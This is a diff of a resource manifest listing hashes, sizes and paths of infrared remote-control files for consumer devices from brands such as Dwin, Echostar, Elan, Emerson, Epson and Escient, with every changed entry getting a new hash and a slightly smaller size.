-F:b8c5c56b28af96ff482774267cee6bc6:2011:infrared/_CSV-IRDB_/Dwin/Projector/15,-1.ir -F:b9bd0516de14f74a2439996dde3ea9b4:2429:infrared/_CSV-IRDB_/Dwin/TV/15,-1.ir -F:01bb16ce9e6ad48fbefa0d2bdc29c92c:4155:infrared/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir -F:dcdbf7569affb58204e8227d07f216fc:132:infrared/_CSV-IRDB_/Dwin/Video Processor/7,0.ir -F:4c70eab0d80bab8c722fe2669b04c44f:8246:infrared/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir -F:dcdbf7569affb58204e8227d07f216fc:132:infrared/_CSV-IRDB_/Dwin/Video Projector/7,0.ir +F:69565b58fbd058400cd242bf7a4c7458:2929:infrared/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir +F:7ecc44651842901a9fe4f721cbb81fca:1949:infrared/_CSV-IRDB_/Dwin/Plasma/15,-1.ir +F:67703857157292e1c244ade4aeaae109:1877:infrared/_CSV-IRDB_/Dwin/Projector/15,-1.ir +F:90932a8129d9a4cac941d317b7f513a5:2277:infrared/_CSV-IRDB_/Dwin/TV/15,-1.ir +F:b61a7bde1afca6f8277f5f311581c186:3883:infrared/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir +F:1c0124f1cef47ee86c3d3023a262be78:124:infrared/_CSV-IRDB_/Dwin/Video Processor/7,0.ir +F:3ccdae8fbe4568c93c775e4b92b3919d:7710:infrared/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir +F:1c0124f1cef47ee86c3d3023a262be78:124:infrared/_CSV-IRDB_/Dwin/Video Projector/7,0.ir D:infrared/_CSV-IRDB_/Dynaudio/Unknown_Sub -F:8c78e564ec37e304cd8a4521f2d5b100:1565:infrared/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir +F:cce298981560cb7c341267eba2ce7718:1467:infrared/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir D:infrared/_CSV-IRDB_/Dynex/Unknown_DX-CVS4 -F:cd5764ad86fc36683b18c51a806b7b20:407:infrared/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir +F:6a637fa26541dd55e29ad067f2f46dfb:381:infrared/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir D:infrared/_CSV-IRDB_/E Max/DVD Player -F:bd6c57eb83137fbb8af5b4b863398e20:3902:infrared/_CSV-IRDB_/E Max/DVD Player/0,223.ir +F:fc976288637fb9fbaa237f0fee88783f:3648:infrared/_CSV-IRDB_/E Max/DVD Player/0,223.ir D:infrared/_CSV-IRDB_/E-tech/Unknown_FLY98 -F:b3d7acc879382d160841544621621c6c:2883:infrared/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir +F:ba3a7c57c426692bdd6ebe9a85a0c4d7:2701:infrared/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir D:infrared/_CSV-IRDB_/ELTASAT/Unknown_SAT170 -F:e1bb9402fd9edbd8d32d1f21bdf97f9f:2014:infrared/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir +F:30cf3f7923f8b5cf83567a33b7ca292e:1886:infrared/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir D:infrared/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R -F:12c9a70a888f96bc83d3fcd8bc303885:3361:infrared/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir +F:0bc81ee43953104a0b4818c651d17791:3149:infrared/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir D:infrared/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen -F:902318a8f7c0d5676aaee5799415ed01:1813:infrared/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir +F:eea7baa8cc68d58ddfb3ff919c43d95e:1697:infrared/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir D:infrared/_CSV-IRDB_/Echostar/DSS D:infrared/_CSV-IRDB_/Echostar/DVR D:infrared/_CSV-IRDB_/Echostar/Dish Network @@ -2346,24 +2346,24 @@ D:infrared/_CSV-IRDB_/Echostar/Satellite D:infrared/_CSV-IRDB_/Echostar/Unknown_AD3000IP D:infrared/_CSV-IRDB_/Echostar/Unknown_DSB-616 D:infrared/_CSV-IRDB_/Echostar/Unknown_DSB-636 -F:40539a7e2c402a2d337f5106ae40582d:2050:infrared/_CSV-IRDB_/Echostar/DSS/0,0.ir -F:e6c5a85f3f41db64d61e55302b299161:2693:infrared/_CSV-IRDB_/Echostar/DVR/0,0.ir -F:b8b8678f7325a449c17eed8eabe703fe:1150:infrared/_CSV-IRDB_/Echostar/DVR/1,0.ir -F:1c0e6380d0782ff09d0bf187a8d77a97:2127:infrared/_CSV-IRDB_/Echostar/Dish Network/0,0.ir -F:84a4d8fe695966e0e50ae5b557732870:2321:infrared/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir -F:4902e2715858119ca15d90f431681e79:886:infrared/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir -F:8431f8cbd6f5795ace695dfd00135fc6:4234:infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir -F:ec59270add3c272ebdc16153e30ce933:2669:infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir -F:826189a52d98ed357efb2972d5eb527b:2654:infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir -F:14ff1b34a82be3960cfa3fb1d82cb74b:888:infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir -F:21cf95300fdefb654f99598df81b4106:231:infrared/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir -F:c2dead12ab2f19410df05710a4a0a062:4461:infrared/_CSV-IRDB_/Echostar/Satellite/0,0.ir -F:6410a113ac703bbb8b153f597af85714:1247:infrared/_CSV-IRDB_/Echostar/Satellite/1,0.ir -F:bd26b493760703b8ef796ba8019a3317:221:infrared/_CSV-IRDB_/Echostar/Satellite/16,0.ir -F:019934eb465b13c4dc4de9588c17bdbf:320:infrared/_CSV-IRDB_/Echostar/Satellite/4,-1.ir -F:da2bbf88d25ad5c61b9ad50704bd4d2d:2774:infrared/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir -F:1fd377c44d7d8ee0b16c95f4e61a8685:3349:infrared/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir -F:a7655aea08ded52c77cd3b24c9f0a7b5:3065:infrared/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir +F:78f71e751a8ddd1f30b4e1b3ce6a3692:1916:infrared/_CSV-IRDB_/Echostar/DSS/0,0.ir +F:52051fc426a05c852a2e10f5a6c9a48f:2517:infrared/_CSV-IRDB_/Echostar/DVR/0,0.ir +F:1a34326adcd53a33669d354b41b5834d:1076:infrared/_CSV-IRDB_/Echostar/DVR/1,0.ir +F:c9f4532ab140355a15eb0c6ba7405fc9:1987:infrared/_CSV-IRDB_/Echostar/Dish Network/0,0.ir +F:5466e957b89fd7d1d1c9e2d12032c618:2169:infrared/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir +F:14a5b40f66f9fa3e816633a7336358ef:830:infrared/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir +F:2093e79b9cec58c2eb4c5b786e27ea67:3962:infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir +F:7a815ee9dd366b411230a798604a1e93:2499:infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir +F:171d4378d0f8f83e4585884039f66016:2484:infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir +F:882d1413afdd06b046219108e55a3e93:832:infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir +F:29e4a7629d625112fd7bd1c58eda708f:217:infrared/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir +F:db8d78ccdba1f857713e2b54577ad194:4171:infrared/_CSV-IRDB_/Echostar/Satellite/0,0.ir +F:158b1aca3b9d81c564c86d88553fb244:1167:infrared/_CSV-IRDB_/Echostar/Satellite/1,0.ir +F:a842385e1943d58d0a356ff70f3644b7:207:infrared/_CSV-IRDB_/Echostar/Satellite/16,0.ir +F:b2c1043807f1f7c60379320d13753dab:300:infrared/_CSV-IRDB_/Echostar/Satellite/4,-1.ir +F:5d276176a0e6c017200d1b6ebc4ede4a:2598:infrared/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir +F:56f4433085a20067a61e1cb9ae8503a5:3137:infrared/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir +F:34891f0614cddb99016c850bd3dbb3e3:2871:infrared/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir D:infrared/_CSV-IRDB_/Elan/Camera Switcher D:infrared/_CSV-IRDB_/Elan/DMX D:infrared/_CSV-IRDB_/Elan/DVD Manager @@ -2377,72 +2377,72 @@ D:infrared/_CSV-IRDB_/Elan/Tuner D:infrared/_CSV-IRDB_/Elan/Video Controller D:infrared/_CSV-IRDB_/Elan/Video Switcher D:infrared/_CSV-IRDB_/Elan/Volume Control -F:d9bc4e2d8643110aec88b8348c968489:1371:infrared/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir -F:fe049ef7999df3778e9d7515c8ce27cc:3549:infrared/_CSV-IRDB_/Elan/DMX/100,-1.ir -F:a2efea7166e67212b02a3329a1533dac:3604:infrared/_CSV-IRDB_/Elan/DMX/14,-1.ir -F:8428657318fe377197a9f4c2ca08e755:3501:infrared/_CSV-IRDB_/Elan/DMX/96,-1.ir -F:58a75ea0068bd2bc001741c0d98cf157:3512:infrared/_CSV-IRDB_/Elan/DMX/99,-1.ir -F:248c85b68a4a80f7256989557acfc918:4369:infrared/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir -F:8b82b91102bae467592f398d31f48633:1076:infrared/_CSV-IRDB_/Elan/HD/0,-1.ir -F:dda0a0ba5b6a49ee00a57b34a6a202d2:4725:infrared/_CSV-IRDB_/Elan/HD/1,-1.ir -F:164175dc351f7964cc4b2126c8bf7751:126:infrared/_CSV-IRDB_/Elan/HD/2,-1.ir -F:6585cddfbf16b54c9bbbee29dd5e2b77:4250:infrared/_CSV-IRDB_/Elan/HD/4,-1.ir -F:7ce4f152264e65fa3ed977d5625e7c4e:3735:infrared/_CSV-IRDB_/Elan/HD/5,-1.ir -F:9c48d5846eec39c2c6457e8fcf968da4:238:infrared/_CSV-IRDB_/Elan/IR Router/1,-1.ir -F:746eaff5148cf506e09e436bafb20104:2981:infrared/_CSV-IRDB_/Elan/IR Router/2,-1.ir -F:70981e79e9f459967a6e9e62a0316ab1:1231:infrared/_CSV-IRDB_/Elan/Jukebox/96,-1.ir -F:2a35541988366052c5bf8c2e896723ee:786:infrared/_CSV-IRDB_/Elan/Master Controller/0,-1.ir -F:3efc7f9430f504b9a1cc441b3f092258:1610:infrared/_CSV-IRDB_/Elan/Master Controller/1,-1.ir -F:0f6c105feeb3b733d7c0b73260e5dbb9:1224:infrared/_CSV-IRDB_/Elan/Master Controller/5,-1.ir -F:faf427e1d6ef75e4573db61c12bb7fc0:2736:infrared/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir -F:579de3e8a00707f8b782bb108cb20455:2047:infrared/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir -F:2f0210a32808ad5487d28d7e117a3c53:3872:infrared/_CSV-IRDB_/Elan/Tuner/129,115.ir -F:91c70e78311409eb0929526ee089e2e3:2262:infrared/_CSV-IRDB_/Elan/Video Controller/0,-1.ir -F:d2774f073099c92677cdbbd466deeef5:2728:infrared/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir -F:077bacfc33740c2bee1d9376fc8cea30:759:infrared/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir -F:1622756c17a7b126b3f243cf32cd60d7:398:infrared/_CSV-IRDB_/Elan/Volume Control/0,-1.ir -F:9458f1a6132560f425b2b8ae1f2479f9:511:infrared/_CSV-IRDB_/Elan/Volume Control/1,241.ir -F:1138544c70a90c97e9c4d1d7da3764b6:129:infrared/_CSV-IRDB_/Elan/Volume Control/255,15.ir +F:7f5093285507f3373b1794f8682543dd:1285:infrared/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir +F:5b6c3dfd8de6a09743aecfef90784b90:3319:infrared/_CSV-IRDB_/Elan/DMX/100,-1.ir +F:229f15cf778972197634e147a44ed3b1:3368:infrared/_CSV-IRDB_/Elan/DMX/14,-1.ir +F:bce26eb63f5794951864ede3745e50f0:3271:infrared/_CSV-IRDB_/Elan/DMX/96,-1.ir +F:822a8548bbb80e3eb28f90a6954cf855:3282:infrared/_CSV-IRDB_/Elan/DMX/99,-1.ir +F:bfb56e716008400c49a4c2b4fd91b9ec:4085:infrared/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir +F:f0665da9f73c4ff797dd2257809a8ace:1008:infrared/_CSV-IRDB_/Elan/HD/0,-1.ir +F:cbadfa3b29450a9b549553cf0b484d5b:4417:infrared/_CSV-IRDB_/Elan/HD/1,-1.ir +F:dbefe2f7b6fe764b94f3230386cf9c00:118:infrared/_CSV-IRDB_/Elan/HD/2,-1.ir +F:9e8544360fc75562e75b81bc658d6bb1:3972:infrared/_CSV-IRDB_/Elan/HD/4,-1.ir +F:0eb161b311cd3a4d0ed9613b13346294:3499:infrared/_CSV-IRDB_/Elan/HD/5,-1.ir +F:1d8e6700a6cb260f4ee7d887d66478c9:224:infrared/_CSV-IRDB_/Elan/IR Router/1,-1.ir +F:d3863ca67b0dc153f923ea7a47f93da6:2787:infrared/_CSV-IRDB_/Elan/IR Router/2,-1.ir +F:6c1fb5d5852da5e3283d6cbcf5608534:1157:infrared/_CSV-IRDB_/Elan/Jukebox/96,-1.ir +F:d88bfbbe5e3730377bb6cdcae7955f6d:736:infrared/_CSV-IRDB_/Elan/Master Controller/0,-1.ir +F:20d39f51052908eac08d435ed471829c:1512:infrared/_CSV-IRDB_/Elan/Master Controller/1,-1.ir +F:e3b4aa72523adcc53db10557c995ca3e:1144:infrared/_CSV-IRDB_/Elan/Master Controller/5,-1.ir +F:7fecbe0c38c0ec16f0ec237a948c8b23:2566:infrared/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir +F:70f3ef0409748d6790c2781fc7406121:1913:infrared/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir +F:17be87948bf30aafb60318a3870b21c7:3618:infrared/_CSV-IRDB_/Elan/Tuner/129,115.ir +F:ce91d73926439cdc2e32421a59b8bbe9:2110:infrared/_CSV-IRDB_/Elan/Video Controller/0,-1.ir +F:df316e6da94824f85cab64d4ce462d4c:2546:infrared/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir +F:3e728b38d925cdc5a7f4b088cdebc35a:709:infrared/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir +F:2582d52e40edd0763bc22349eeab3028:372:infrared/_CSV-IRDB_/Elan/Volume Control/0,-1.ir +F:afd7bd9f16ae4fa9e16bef80f04f3128:479:infrared/_CSV-IRDB_/Elan/Volume Control/1,241.ir +F:15b5a226f079da479fdae10c008f5fad:121:infrared/_CSV-IRDB_/Elan/Volume Control/255,15.ir D:infrared/_CSV-IRDB_/Electrocompaniet/CD Player D:infrared/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier -F:c6bcc27b3ee819fa8b6962c1d7870287:2389:infrared/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir -F:33f8f4060bb50eff1bfa1eb950fc94b9:772:infrared/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir +F:b4f51648a66c47476c9e8a11c85b1301:2231:infrared/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir +F:5bd99818b3f7e30f4e599a7478b0fd4d:722:infrared/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir D:infrared/_CSV-IRDB_/Electrokinetics/Plasma Lift -F:db920b816e3256a13f34cb29ceebe52c:136:infrared/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir +F:cd028554d4b2c3826fa5b8a9d8334c7f:128:infrared/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir D:infrared/_CSV-IRDB_/Elenberg/Unknown_RC-404E -F:ee703a634099129e86a8907c6659d637:4575:infrared/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir +F:60fa0864a5e27e0f9de81e68d82414b4:4285:infrared/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir D:infrared/_CSV-IRDB_/Elitron/Unknown_utk -F:1a6fc0175b45adbcee023cf3311a44cc:2389:infrared/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir +F:9e91069409b438cd7642413c178c3c4e:2237:infrared/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir D:infrared/_CSV-IRDB_/Elmo/CAMERA_PRC-100S D:infrared/_CSV-IRDB_/Elmo/Camera D:infrared/_CSV-IRDB_/Elmo/Video Projector -F:fddbd1c41a598d6efabf8f7cb18f5b94:2474:infrared/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir -F:f7f8130da10d8ac17e9b3d541fc69fe3:2961:infrared/_CSV-IRDB_/Elmo/Camera/128,-1.ir -F:504ba08af77302dc7f844ba33219be5a:1207:infrared/_CSV-IRDB_/Elmo/Video Projector/132,132.ir -F:0afaa215faea736743ec15c4cf7c4040:1207:infrared/_CSV-IRDB_/Elmo/Video Projector/134,134.ir +F:57424daced4474d5adb7e4a7ad11fec8:2316:infrared/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir +F:6c41082a6d7a4c8ecc219521d01ea476:2767:infrared/_CSV-IRDB_/Elmo/Camera/128,-1.ir +F:ffdceddc9d8bfa02c3c12939cd043b1d:1133:infrared/_CSV-IRDB_/Elmo/Video Projector/132,132.ir +F:7707170ca85fcec12202f12ab15970bf:1133:infrared/_CSV-IRDB_/Elmo/Video Projector/134,134.ir D:infrared/_CSV-IRDB_/Emerson/TV D:infrared/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD D:infrared/_CSV-IRDB_/Emerson/Unknown_emerson D:infrared/_CSV-IRDB_/Emerson/Unknown_emerson-cd D:infrared/_CSV-IRDB_/Emerson/Unknown_emersontv D:infrared/_CSV-IRDB_/Emerson/VCR -F:e291002e49745f0ff406ca2f109f312a:2447:infrared/_CSV-IRDB_/Emerson/TV/0,-1.ir -F:40e3274f136ba7f27928094b87a64055:4534:infrared/_CSV-IRDB_/Emerson/TV/135,34.ir -F:095f47aac5f1d5f1564b6c40ed641677:3802:infrared/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir -F:be0d2ee57d8bebe98147801185499684:2496:infrared/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir -F:2b2a88cea2f5f80fe4aa186802e981c6:627:infrared/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir -F:fa2732a3e11a5f34875dc181750827a5:2506:infrared/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir -F:b8d949f3b4b15f4b2cee7aa29d439ee1:2677:infrared/_CSV-IRDB_/Emerson/VCR/21,-1.ir -F:c4f04a1780a314ce67b4ebdd9ccfd419:229:infrared/_CSV-IRDB_/Emerson/VCR/4,-1.ir -F:49e6bfed2fd0bcaed018db7999e661d9:2228:infrared/_CSV-IRDB_/Emerson/VCR/40,-1.ir +F:d0432921abc596bc59ca801df52bde85:2289:infrared/_CSV-IRDB_/Emerson/TV/0,-1.ir +F:ed7128d9a71256f5341d15cff58677b3:4238:infrared/_CSV-IRDB_/Emerson/TV/135,34.ir +F:34b5070de39c0893a1cde7b784244f8a:3566:infrared/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir +F:ec05489518879a74518e416b8cc25e95:2338:infrared/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir +F:19d0cc9560b2b6c208227b01432655ff:589:infrared/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir +F:ed8b3afbc4d8918883e5f01211ef1ee5:2348:infrared/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir +F:2cf58b222f1b9fef8a1c8ec1687960d3:2501:infrared/_CSV-IRDB_/Emerson/VCR/21,-1.ir +F:911213ce4500d94e4f4283ee9fe8385f:215:infrared/_CSV-IRDB_/Emerson/VCR/4,-1.ir +F:524f535d5b42934a4912c229d309c28b:2082:infrared/_CSV-IRDB_/Emerson/VCR/40,-1.ir D:infrared/_CSV-IRDB_/Epson/Projector D:infrared/_CSV-IRDB_/Epson/Unknown_12807990 D:infrared/_CSV-IRDB_/Epson/Unknown_ELPST12 D:infrared/_CSV-IRDB_/Epson/Video Projector -F:e4ed84e860b921e172f9f313bdc01b09:5422:infrared/_CSV-IRDB_/Epson/Projector/131,85.ir -F:56635aa3874ff274daeafa1cdce127f1:2495:infrared/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir -F:507be960ee1d56df6e64e4e8804b1c10:1557:infrared/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir -F:e6ba9ac5eb7c436d9a2c06215660b7f2:2237:infrared/_CSV-IRDB_/Epson/Video Projector/131,85.ir +F:66028bbd07ad9065529209f064e6f36c:5078:infrared/_CSV-IRDB_/Epson/Projector/131,85.ir +F:a49b3dca6510f387074ab6df3cb86d98:2337:infrared/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir +F:09bb52fe1964ce0c3e9c90fb5fd03c8b:1459:infrared/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir +F:6ec2fa6eae1fdd606884be59ca2fc617:2097:infrared/_CSV-IRDB_/Epson/Video Projector/131,85.ir D:infrared/_CSV-IRDB_/Escient/CD Jukebox D:infrared/_CSV-IRDB_/Escient/CD Management D:infrared/_CSV-IRDB_/Escient/DVD Library @@ -2453,271 +2453,271 @@ D:infrared/_CSV-IRDB_/Escient/Hard Drive Recorder D:infrared/_CSV-IRDB_/Escient/MP3 Player D:infrared/_CSV-IRDB_/Escient/Media Manager D:infrared/_CSV-IRDB_/Escient/Media Server -F:912bb10a043f174e8012d014190121d9:3497:infrared/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir -F:a8a55c5a992f579418af80473e70ac42:3048:infrared/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir -F:3f9c9e4ca2798f49e66829072eb6fb3a:2703:infrared/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir -F:20cffaa60d15772783fd22730236020f:126:infrared/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir -F:66d74d57cb0ba78248c98c0f8b615d19:126:infrared/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir -F:3974f1a7c81e4a149d542bbb27484c6f:4906:infrared/_CSV-IRDB_/Escient/CD Management/0,0.ir -F:243adb4e8c711b709989a231b4a3647d:6150:infrared/_CSV-IRDB_/Escient/CD Management/14,0.ir -F:66d74d57cb0ba78248c98c0f8b615d19:126:infrared/_CSV-IRDB_/Escient/CD Management/91,-1.ir -F:614f09389fc865c47e2cd4c2a1d9e62a:128:infrared/_CSV-IRDB_/Escient/DVD Library/1,22.ir -F:eb0f0a885687eb537b3b3f317eadd9a2:3203:infrared/_CSV-IRDB_/Escient/DVD Library/8,-1.ir -F:e53b4e47090891a9b41effc41cf92ca8:3486:infrared/_CSV-IRDB_/Escient/DVD Player/1,22.ir -F:e47fea4bc1b1706d62b365303f2baa17:3576:infrared/_CSV-IRDB_/Escient/DVD Player/2,22.ir -F:85a5fcb639b901a5ba8c891298f76ff9:3472:infrared/_CSV-IRDB_/Escient/DVD Player/3,22.ir -F:83d63f720bdf7e687af875869013135a:5079:infrared/_CSV-IRDB_/Escient/DVD Player/4,22.ir -F:eb0f0a885687eb537b3b3f317eadd9a2:3203:infrared/_CSV-IRDB_/Escient/DVD Player/8,-1.ir -F:92ca5c9dcca1235e00b10f4347272034:5183:infrared/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir -F:1b30c034e4185a543b68e9e409889580:3923:infrared/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir -F:51a72feba9eb6e164b432a5ee022a8fe:312:infrared/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir -F:f1937f3c19f7fb3db5c8917e857db750:4127:infrared/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir -F:ad257851dc170f2dd4d687dbb0bc718d:622:infrared/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir -F:55b1ab987bc9acb3dd289554125efeba:3935:infrared/_CSV-IRDB_/Escient/MP3 Player/1,22.ir -F:567b297f92655a600ade9e0edbbaffcc:222:infrared/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir -F:4a5f4e6216ce260430f3a0934605e7c4:320:infrared/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir -F:4292e0514bcffa9617f5deacac4a6816:1625:infrared/_CSV-IRDB_/Escient/MP3 Player/4,22.ir -F:23e1d94992f396200b21897dd4cd76ea:10244:infrared/_CSV-IRDB_/Escient/Media Manager/1,22.ir -F:71c705c544748a16a34b2c332ccc37f3:130:infrared/_CSV-IRDB_/Escient/Media Manager/15,-1.ir -F:354d7b59c0443364e8f03376ba97e3fa:6581:infrared/_CSV-IRDB_/Escient/Media Manager/15,0.ir -F:4d95b67c4ccb9747a221367c70c50d1a:5353:infrared/_CSV-IRDB_/Escient/Media Manager/2,22.ir -F:37d423284043e22dee8d797197d30f65:5170:infrared/_CSV-IRDB_/Escient/Media Manager/3,22.ir -F:b1061cad0399a099757f6c55ad286c35:6799:infrared/_CSV-IRDB_/Escient/Media Manager/33,184.ir -F:f5a8464a1510d47558b67cfac6baf426:6859:infrared/_CSV-IRDB_/Escient/Media Manager/4,22.ir -F:20cffaa60d15772783fd22730236020f:126:infrared/_CSV-IRDB_/Escient/Media Manager/48,-1.ir -F:ff1f057e5b4a638847e7fa242a9f751d:2191:infrared/_CSV-IRDB_/Escient/Media Server/1,22.ir -F:eb050d9a30ae59c3f0916921e62e7605:2267:infrared/_CSV-IRDB_/Escient/Media Server/4,22.ir +F:558e0e2a96b21d70f5294a4a5efc160b:3267:infrared/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir +F:ff1d7c2086ea59d2af63a1360520f1ed:2848:infrared/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir +F:6d7eab2674acac676b3be74b2138f73d:2527:infrared/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir +F:b38fd5033f98dc43e5143c3402ccd030:118:infrared/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir +F:3b6f889cc923d9bb2b112a482add6536:118:infrared/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir +F:43396274a14569b3d36256265e86ebde:4592:infrared/_CSV-IRDB_/Escient/CD Management/0,0.ir +F:92434cef04183f376bc03f821180d61f:5752:infrared/_CSV-IRDB_/Escient/CD Management/14,0.ir +F:3b6f889cc923d9bb2b112a482add6536:118:infrared/_CSV-IRDB_/Escient/CD Management/91,-1.ir +F:33274d30ee6b822228daf2951c798653:120:infrared/_CSV-IRDB_/Escient/DVD Library/1,22.ir +F:d76aa33604efd77cabdcc873ce63ee52:2991:infrared/_CSV-IRDB_/Escient/DVD Library/8,-1.ir +F:599944d6eafa9151301d421397466c22:3268:infrared/_CSV-IRDB_/Escient/DVD Player/1,22.ir +F:ced4615f87ea417c888d3fe2b89c1441:3352:infrared/_CSV-IRDB_/Escient/DVD Player/2,22.ir +F:0cacfc58aed147402f69ef65f436cd69:3254:infrared/_CSV-IRDB_/Escient/DVD Player/3,22.ir +F:83ba933311b0ef0fb7e8843ea04bf8f6:4759:infrared/_CSV-IRDB_/Escient/DVD Player/4,22.ir +F:d76aa33604efd77cabdcc873ce63ee52:2991:infrared/_CSV-IRDB_/Escient/DVD Player/8,-1.ir +F:a5d71a2e41ac460c655da198b36f1cc4:4851:infrared/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir +F:3d84cebc06ff34ea9c3324c40caa0413:3675:infrared/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir +F:ff1315abade4e3c9cb202b4b52a7aab2:292:infrared/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir +F:10505e229302ef609de25671395bd081:3861:infrared/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir +F:c6c3dc70364c1671814b8928130a8f43:584:infrared/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir +F:245fa11f5bc33222de73ec4c31d99a24:3681:infrared/_CSV-IRDB_/Escient/MP3 Player/1,22.ir +F:fec230560dc46fa77e8097305f3c7d6c:208:infrared/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir +F:ecf8f4229cca7add5602f9e482e84383:300:infrared/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir +F:e5985ba7666fe550992c8d30d1fc532c:1521:infrared/_CSV-IRDB_/Escient/MP3 Player/4,22.ir +F:4ec5c35838ab7229b21a40b59f848a84:9600:infrared/_CSV-IRDB_/Escient/Media Manager/1,22.ir +F:43f7405f385fb6005b9beac7a6d5ead0:122:infrared/_CSV-IRDB_/Escient/Media Manager/15,-1.ir +F:91a8260f7f0f3a0c3036cf2897d35709:6159:infrared/_CSV-IRDB_/Escient/Media Manager/15,0.ir +F:74125896cb76bc74074af5a39eabc403:5015:infrared/_CSV-IRDB_/Escient/Media Manager/2,22.ir +F:1754a410fefafe0b311b77c530a36080:4844:infrared/_CSV-IRDB_/Escient/Media Manager/3,22.ir +F:a90d73da9842e668e93460c4234ad378:6335:infrared/_CSV-IRDB_/Escient/Media Manager/33,184.ir 